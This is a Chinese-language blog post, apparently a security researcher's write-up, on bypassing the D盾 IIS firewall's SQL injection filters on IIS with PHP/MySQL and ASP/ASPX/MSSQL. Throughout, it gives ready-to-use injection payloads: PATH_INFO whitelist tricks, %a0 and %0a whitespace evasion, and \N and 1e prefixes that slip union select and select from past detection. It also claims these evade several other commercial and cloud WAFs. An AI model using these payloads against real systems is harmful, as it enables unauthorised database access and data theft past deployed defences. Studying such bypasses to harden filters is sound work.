D盾_IIS防火牆，目前只支援Win2003伺服器，前陣子看見官方部落格說D盾新版將近期推出，相信功能會更強大，這邊分享一下之前的SQL隱碼攻擊防禦的測試情況。D盾_IIS防火牆注入防禦策略，如下圖，主要防禦GET/POST/COOKIE，檔案允許白名單設定。構造不同的測試環境，IIS+(ASP/ASPX/PHP)+(MsSQL/MySQL)，看到這邊的策略，主要的測試思路：
a、白名單 b、繞過union select或select from的檢測
0X02 IIS+PHP+MYSQL
搭建這個window2003+IIS+php+mysql，可花費不少時間，測試過程還蠻順利的，先來一張攔截圖：
繞過姿勢一：白名單
PHP中的PATH_INFO問題，簡單來說呢，就是
http:/x.x.x.x/3.php?id=1 等價於 http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1
從白名單中隨便挑個地址加在後面，可成功bypass，http://10.9.10.206/3.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
經測試，GET、POST、COOKIE均有效，完全bypass
繞過姿勢二：空白字元
Mysql中可以利用的空白字元有：%09,%0a,%0b,%0c,%0d,%20,%a0；
測試了一下，基本上針對MSSQL的[0x01-0x20]都被處理了，唯獨在Mysql中還有一個%a0可以利用，可以看到%a0與select合體，無法識別，從而繞過。
id=1 union%a0select 1,2,3 from admin
繞過姿勢三：\N形式
主要思考問題，如何繞過union select以及select from？
如果說上一個姿勢是union和select之間的位置的探索，那麼是否可以考慮在union前面進行檢測呢？
為此在引數與union的位置，經測試，發現\N可以繞過union select檢測，同樣方式繞過select from的檢測。
id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
b
0X03 IIS+ASP/ASPX+MSSQL
搭建IIS+ASP/ASPX+MSSQL環境，思路一致，只是語言與資料庫特性有些許差異，繼續來張D盾攔截圖：
繞過姿勢一：白名單
ASP： 不支援，找不到路徑，而且D盾禁止執行帶非法字元或特殊目錄的指令碼（/1.asp/x），撤底沒戲了
/admin.php/../1.asp?id=1 and 1=1 攔截
/1.asp?b=admin.php&id=1 and 1=1 攔截，可見D盾會識別到檔案的位置，並不是只檢測URL存在白名單那麼簡單了。。。
ASPX：與PHP類似 /1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
繞過姿勢二：空白字元
Mssql可以利用的空白字元有：01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
[0x01-0x20]全部都被處理了，想到mysql %a0的漏網之魚是否可以利用一下?
ASP+MSSQL: 不支援%a0，已放棄。。。
ASPX+MSSQL: %a0+%0a配合，可成功繞過union select的檢測
id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
繞過姿勢三：1E形式
MSSQL屬於強型別，這邊的繞過是有限制，from前一位顯示位為數字型別，這樣才能用1efrom繞過select from。
只與資料庫有關，與語言無關，故ASP與ASPX一樣，可bypass，id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
0X04 END
不同語言，中介軟體，資料庫，所對應的特性有些差異，思路卻一致，實踐出真知，只要動手去探索，還有更多姿勢等待被挖掘。
目前的測試成果，可成功bypass注入防禦，如 安全狗、雲鎖、360主機衛士、D盾_IIS防火牆等主機防護軟體及各種雲waf，有些姿勢都在用。
有對這方面研究的童鞋，歡迎加好友交流一下姿勢。